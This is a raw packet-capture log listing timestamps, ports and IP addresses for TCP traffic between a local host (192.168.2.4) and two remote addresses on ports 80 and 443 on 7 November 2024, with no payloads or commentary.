Nov 7, 2024 06:01:27.905188084 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905198097 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905208111 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905209064 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905219078 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905221939 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905230999 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905242920 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905244112 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905255079 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905258894 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905261040 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905276060 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905287027 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905292988 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905303955 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905313969 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905314922 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905323982 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905323982 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905337095 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905348063 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905354023 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905360937 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905363083 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905371904 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905384064 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905385971 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905394077 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905416965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905416965 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905435085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905436039 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905446053 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905457020 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905457020 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905469894 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905479908 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905488968 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905489922 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905498028 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905500889 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905512094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905519962 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905522108 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905533075 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905543089 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905550003 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905551910 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905565977 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905569077 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905575037 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905581951 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905586958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905591965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905602932 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905610085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905626059 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905627966 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905637026 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905647993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905653000 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905659914 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905668974 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905669928 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905680895 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905694008 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905704021 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905714035 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905720949 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905731916 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905742884 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905745029 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905754089 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905766010 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905774117 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905778885 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905791044 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905797958 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905801058 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905810118 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905821085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905826092 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905833006 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905843019 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905853033 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905865908 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905872107 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905884027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905891895 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905893087 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905905008 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905915976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905915976 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905930042 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905941010 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905942917 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905952930 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905952930 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905963898 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905975103 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905985117 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.905988932 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.905996084 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906013012 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906013012 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906032085 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906034946 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906043053 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906054020 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906059027 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906064987 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906075001 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906078100 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906086922 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906096935 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906100035 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906106949 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906114101 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906117916 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906130075 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906147003 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906150103 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906168938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906177998 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906181097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906188965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906188965 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906203032 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906213045 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906224012 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906227112 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906234026 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906244993 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906251907 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906259060 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906264067 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906270027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906272888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906276941 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906281948 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906294107 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906302929 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906313896 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906323910 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906335115 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906344891 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906352997 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906354904 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906367064 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906375885 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906378031 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906385899 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906388998 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906399965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906404972 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906410933 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906421900 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906430960 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906435013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906440973 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906451941 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906459093 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906462908 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906474113 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906478882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906485081 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906486988 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906497002 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906508923 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906511068 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906521082 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906532049 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906543016 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906543970 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906553984 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906562090 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906568050 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906585932 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906590939 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906590939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906603098 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906614065 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906619072 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906625986 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906636953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906644106 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906649113 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906657934 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906667948 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906672955 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906681061 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906689882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906692028 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906704903 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.906711102 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906732082 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.906754971 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908219099 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908231020 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908241987 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908273935 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908288002 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908381939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908392906 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908401966 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908413887 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908425093 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908435106 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908436060 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908447027 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908461094 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908469915 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908480883 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908480883 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908493042 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908509970 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908516884 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908521891 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908534050 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908536911 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908544064 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908557892 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908561945 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908569098 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908581972 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908586979 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908592939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908603907 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908605099 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908615112 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908624887 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908627987 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:27.908642054 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.908673048 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:27.975958109 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.976023912 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.977642059 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.977655888 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.977926970 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.979329109 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.980115891 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.980146885 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.980216026 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.980240107 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.980319977 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.980357885 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.981148005 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.981177092 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.981283903 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.981307030 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.981419086 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.981443882 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.981451035 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.981555939 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.981580973 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.992724895 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.992872953 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.992908955 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.992937088 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.992945910 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.992996931 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.993029118 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.997967958 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:27.998099089 CET	49901	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:27.998131037 CET	443	49901	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:28.056031942 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056071043 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056082964 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056097031 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056114912 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056128025 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056128025 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056139946 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056143045 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056165934 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056171894 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056197882 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056227922 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056296110 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056307077 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056325912 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056337118 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056337118 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056349039 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056358099 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056366920 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056377888 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056385994 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056405067 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056406021 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056418896 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056428909 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056428909 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056442976 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056447983 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056454897 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.056468010 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.056493998 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057226896 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057295084 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057298899 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057312965 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057348013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057379961 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057390928 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057404041 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057419062 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057446003 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057492971 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057503939 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057514906 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057527065 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057532072 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057538986 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057549953 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057559013 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057562113 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057581902 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057595015 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057601929 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057612896 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057612896 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057632923 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057645082 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057650089 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057668924 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057678938 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057688951 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057691097 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057720900 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057737112 CET	49891	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:28.057760954 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057771921 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057781935 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057787895 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057794094 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057799101 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057809114 CET	80	49891	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:28.057871103 CET	80	49891	185.215.113.16	192.168.2.4
